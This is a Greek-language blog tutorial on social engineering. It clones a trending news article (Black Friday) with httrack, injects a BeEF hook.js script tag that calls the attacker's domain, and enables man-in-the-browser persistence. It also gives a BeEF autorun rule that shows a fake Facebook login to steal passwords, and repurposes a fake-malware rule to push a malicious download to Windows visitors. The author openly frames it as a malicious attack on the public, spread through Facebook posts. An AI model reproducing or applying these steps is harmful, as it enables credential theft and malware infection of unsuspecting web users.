Tι θα χρεαστειτε;
1.Kali Linux
2.BeEF
3.Veil-Evasion
4.Domain name
5.Μυαλο
Σε αυτον τον οδηγο θα μαθουμε την τεχνη της κοινωνικης μηχανικης και πως μπορουμε να εκμεταλευτουμε τα κοινωνικα δρωμενα μιας χωρας ωστε να εφαρμοσουμε κακοβουλα τον σκοπο μας.Θα ειναι συντομος οδηγος και με λιγες λεπτομερειες καθως θελω να σας δειξω την μεθοδο και οχι την εγκατασταση αυτης της επιθεσης.
Αυτη την στιγμη τα κοινωνικα δρωμενα της χωρας ειναι οι λεξεις κλειδια
Τελη κυκλοφοριας
Donald Trump
Barack Obama
Φορος ΕΝΦΙΑ
και Black Friday
Απο τα παραπανω αν φτιαξω εναν δολο σε ιστοσελιδα, θα στοχευσω μια συγκεκριμενη ομαδα ατομων μια καποια μικρη αποκλιση
δλδ αν φτιαξω μια ιστοσελιδα με τιτλο "Τοσο πρεπει να πληρωσετε αν εχετε 150 τετραγωνικα και πανω!!!!" η "ο Νεος φορος ΕΝΦΙΑ" θα τραβηξω ηλικιες απο 28-60+
η αν φτιαξω μια ιστοσελιδα με τιτλο "Πανικος στα πολυκαταστηματα!!!80% οι τσαντες louis vitton" προφανως θα στοχευσω καθαρα γυναικες ηλικιας 18 εως 38+
πιστευω οτι εχετε καταλαβει πως να στοχευετε συγκεκριμενα ατομα κτλ
εγω στο παραδειγμα μου θα χρησιμοποιησω ,μιας και σημερα που γραφω τον οδηγο ειναι παρασκευη τις εκπτωσεις Black friday που εγινε σαλος στην Ελλαδα....
οποτε κανω μια αναζητηση "Black Friday" και βρισκω μια οποιαδηποτε ιστοσελιδα που να λεει καποιο αρθρο
πχ
τωρα προφανως δεν προκειτε να κατσω να γραψω ολοκληρη ιστοσελιδα οποτε σε αυτο θα με βοηθησει το εργαλειο httrack το οποιο ειναι ενα εργαλειο που αντιγραφει ιστοσελιδες για offline αναγνωση.
οποτε εγω επελεξα την ιστοσελιδα ταδε και πηγα στο αρθρο για black friday
οποτε τρεχω την εντολη httrack oloklhro_to_url_ths_istoselidas_me_to_arthro -o /root/var/html/istoselida
και το httrack αντιγραφει ολη την ιστοσελιδα στον φακελο του apache server
τωρα καταχωρουμε ενα domain name και το ανακατευθυνουμε στην εξωτερικη ip μας επισεις προωθουμε την θυρα 3000 και θυρα 80 στην εσωτερικη ip μας
αυτο το πως θα το κανετε δειτε σε προηγουμενους οδηγους
τωρα πηγαινουμε και βρισκουμε το αρχειο index.html και προσθετουμε μετα το </body>
<script type="text/javascript" src="http://domainname:3000/hook.js"></script>
και οπως καταλαβαινετε θα χρησιμοποιησουμε το Browser Explotation Framework (BeEF) στα kali linux υπαρχει η εκδοση 4.6.0-Alpha εγω χρησιμοποιω την εκδοση 4.7.0-Aplha οπως και να εχει δεν ειναι ο σκοπος του οδηγου μου για να μαθουμε πως το κανουμε εγκατασταση .Απλα στην 4.6.0-Alpha
πριν ξεκινησουμε γραφουμε σε ενα τερματικο leafpad /usr/share/beef-xss/modules/persistence/man_in_the_browser/config.yaml
και προσθετουμε
τωρα αν ενα θυμα ενωθει και παει σε αλλο αρθρο θα συνεχισουμε να τον εχουμε σαν zombie χωρις να επιλεξουμε αυτοματα man in the browser σχετικα με το beEF θα δειτε σε προηγουμενο οδηγο μου.
τωρα οσοι εχετε την εκδοση 4.7.0 απλα θα τρεξετε την εντολη
cp /root/beef/arerules/man_in_the_browser.json /root/beef/arerules/enabled/
η οποια αυτη η εντολη θα μεταφερει το αρχειο json με την λειτουργια man in the browser και οταν ξεκινησετε το beef θα την τρεχει αυτοματα
τωρα αλλαζουμε λιγο επικεφαλιδα και τιτλο στο αρχειο index.html ωστε να το κανουμε ποιο πικαντικο πχ
τωρα εφοσον τα εχουμε αλλαξει ολα μας μενει να κανουμε την επιθεση
αν θελετε να βαλετα αυτοματα να κλεβει κωδικους facebook δημιουργουμε ενα εγραφο κειμενου και βαζουμε τις εξεις γραμμες
{"name": "Phising",
"author": "nickthesail0r",
"browser": "ALL",
"browser_version": "ALL",
"os": "ALL",
"os_version": "ALL",
"modules": [
{"name": "pretty_theft",
"condition": null,
"options": {
"choice": "Facebook",
"backing": "Grey",
"imgsauce": "http://best-page.ga:3000/ui/media/images/beef.png"
}
}],
"execution_order": [0],
"execution_delay": [0],
"chain_mode": "sequential"
το αποθηκευουμε σαν phising.json και το βαζουμε στο φακελο του beef (εκδοση 4.7.0) arerules/enabled
αν θελετε στο φακελο arerules εχει και το win_fake_malware.json
αυτο το ανοιγουμε και αλλαζουμε το url με το url του κακοβουλου αρχειου μας
*εννοειτε οτι εχουμε φτιαξει καποιο κακοβουλο αρχειο και εχουμε προωθησει τις αναλογες θυρες στο router μας
ξεκιναμε το beef με την εντολη ./beef οταν ειμαστε στον φακελο beef
πχ
κανουμε μια δημοσιευση της σελιδα μας στο facebook και περιμενουμε......
οταν τα θυματα πανε στην ιστοσελιδα μετα απο λιγο θα τους εμφανιστει να βαλουν τα στοιχεια του facebook
και αν καποιος μπει απο windows θα δει αυτο και θα κατεβασει το κακοβουλο αρχειο
Με λιγα λογια σε αυτον τον οδηγο απλα μαθαμε πως να πραγματοποιουμε μια επιθεση με την τεχνη της κοινωνικης μηχανικης.....σε παλιοτερους οδηγους μου θα δειτε τι μπορειτε να κανετε με το BeEF και πως μπορειτε να το εκμεταλευτειτε.
Σας συνιστω να διαβασετε το ARE (Autorun Rule Engine) του BeEF ετσι ωστε να μπορεσετε να φτιαξετε την επιθεση στα μετρα σας.
Δεν υπάρχουν σχόλια:
Δημοσίευση σχολίου